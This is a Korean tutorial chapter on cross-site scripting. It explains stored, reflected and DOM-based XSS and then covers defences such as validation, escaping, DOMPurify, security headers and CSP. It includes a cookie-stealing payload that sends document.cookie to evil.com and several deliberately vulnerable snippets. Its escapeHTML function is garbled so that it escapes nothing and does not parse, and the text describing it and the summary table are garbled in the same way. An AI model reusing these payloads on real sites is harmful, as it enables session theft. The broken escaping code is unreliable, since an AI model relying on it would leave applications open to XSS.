웹사이트에서 검색창에 <script>alert('XSS')</script>를 입력했는데, 클릭 한 번에 경고창이 뜬다면 놀라지 않을 수 없죠? 이처럼 공격자가 악성 스크립트를 삽입해, 다른 사용자의 브라우저에서 임의 코드를 실행하게 만드는 공격이 바로 XSS(Cross-Site Scripting) 입니다. XSS는 개인정보 탈취, 세션 쿠키 탈취, 피싱 페이지 삽입 등 치명적 보안 사고를 일으킬 수 있습니다.
이번 장에서는 XSS의 원리와 유형별 사례, 그리고 이를 막기 위한 입력 검증, 인코딩·이스케이프, CSP(Content Security Policy) 적용 방법을 실제 코드 예제와 함께 자세히 살펴보겠습니다.
XSS는 공격 코드가 사용자 웹 페이지에서 실행되도록 만드는 공격입니다. 크게 두 가지 문제가 발생합니다:
세션 쿠키 탈취
document.cookie를 통해 쿠키를 훔쳐, 외부 서버로 전송할 수 있습니다.사용자 임의 조작
💡 비유: XSS는 웹 페이지에 몰래 열린 작은 뒷문처럼, 공격자가 원하는 코드를 마음대로 들여놓고 실행할 수 있는 구멍입니다.
시나리오: 공격자가 게시판, 댓글, 프로필 입력란 등에 <script> 코드를 남겨두면, 다른 사용자가 그 페이지를 방문할 때마다 스크립트가 실행됩니다.
예제:
<!-- 게시판 글쓰기 폼 -->
<form action="/post" method="post">
<input name="title" />
<textarea name="content"></textarea>
<button>작성</button>
</form>
<!-- 서버가 오직 필터링 없이 저장 -->
<!-- 나중에 조회 시 악성 스크립트 실행 -->
<h1>제목</h1>
<p><script>fetch('https://evil.com/log?cookie='+document.cookie)</script></p>
시나리오: URL 파라미터나 폼 입력이 즉시 페이지에 반영되며, 그 값에 스크립트가 포함되면 공격이 실행됩니다.
예제:
<!-- /search?q= 키워드를 그대로 출력 -->
<h2>검색 결과: "<%= req.query.q %>"</h2>
<!-- 공격자 링크 예시 -->
a href="https://myshop.com/search?q=<script>alert(1)</script>" 링크 클릭 시 경고창 발생
시나리오: 자바스크립트가 URL hash, innerHTML 등으로 DOM을 직접 조작할 때, 공격 코드를 삽입합니다.
예제:
<div id="output"></div>
<script>
// 해시 값을 직접 innerHTML로 삽입
document.getElementById('output').innerHTML = location.hash.substring(1);
</script>
<!-- URL: https://site.com/#<script>alert('XSS')</script> -->
XSS 공격을 예방하려면 입력 단계부터 출력, 렌더링, 스크립트 실행 단계에 이르는 전 과정에서 방어해야 합니다. 아래 주요 기법들을 조합해 안전한 웹 페이지를 구축해 보세요.
화이트리스트 검증: 사용자가 입력할 수 있는 문자와 길이, 형식을 제한합니다.
// 예: 이름 입력은 영문·숫자만, 최대 30자
if (!/^[a-zA-Z0-9]{1,30}$/.test(name)) throw new Error('Invalid name');
블랙리스트은 보조용으로만 사용하고, 필수 입력 필드나 형식(이메일, URL 등)은 별도 정규식 검사하세요.
HTML 인코딩: <, > 등 특수 문자를 <, > 처럼 변환합니다.
function escapeHTML(str) {
return str.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''');
}
element.innerHTML = escapeHTML(userInput);
Attribute, URL, JavaScript 컨텍스트별 인코딩도 고려해야 합니다.
사용자가 HTML을 직접 입력해야 할 경우, DOMPurify 같은 검증된 라이브러리를 사용해 위험한 태그나 속성을 제거합니다.
const clean = DOMPurify.sanitize(userHtml);
container.innerHTML = clean;
X-XSS-Protection: IE/Edge 내장 XSS 필터 활용
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: MIME 스니핑 방지
X-Content-Type-Options: nosniff
Referrer-Policy, Permissions-Policy 등도 함께 설정해 보안 강화
엄격한 스크립트 소스 제어: 인라인 스크립트와 외부 도메인 로딩을 제한합니다.
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy',
"default-src 'self'; script-src 'self' 'nonce-abc123'; style-src 'self';"
);
next();
});
Nonce/hash 기반 스크립트 허용: 인라인 스크립트 사용 시 nonce-... 를 스크립트 태그에 추가해, 오직 그 스크립트만 실행되게 합니다.
서버 측에서도 XSS를 방어하기 위해 다음과 같은 방법을 적용할 수 있습니다.
템플릿 엔진에서 사용자가 입력한 모든 데이터를 자동으로 HTML 이스케이프 설정
// 예: Express + EJS 설정
app.set('view engine', 'ejs');
// EJS는 <%= %> 구문에서 자동 HTML 이스케이프를 수행합니다.
서버에서 들어오는 HTML 또는 사용자 입력을 DOMPurify(Node 버전) 등으로 정제
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);
app.post('/submit', (req, res) => {
const cleanHtml = DOMPurify.sanitize(req.body.userHtml);
// cleanHtml을 저장 또는 렌더링
});
모든 응답에 보안 헤더를 일괄 설정해 XSS 취약점 노출을 줄임
app.use((req, res, next) => {
res.setHeader('X-XSS-Protection', '1; mode=block');
res.setHeader('X-Content-Type-Options', 'nosniff');
next();
});
중요한 데이터가 노출되는 라우터(Path)에 대해 추가 검증 및 제한 적용
app.get('/user/profile', (req, res) => {
const safeBio = escapeHTML(req.user.bio);
res.render('profile', { bio: safeBio });
});
| 기법 | 코드/태그 예시 | 설명 |
|---|---|---|
| HTML Escape | <, >, & | 출력 시 특수문자 인코딩 |
| textContent | el.textContent = userInput | DOM 삽입 시 자동 이스케이프 |
| CSP Header | Content-Security-Policy 헤더 | 외부 스크립트 로드 제어 |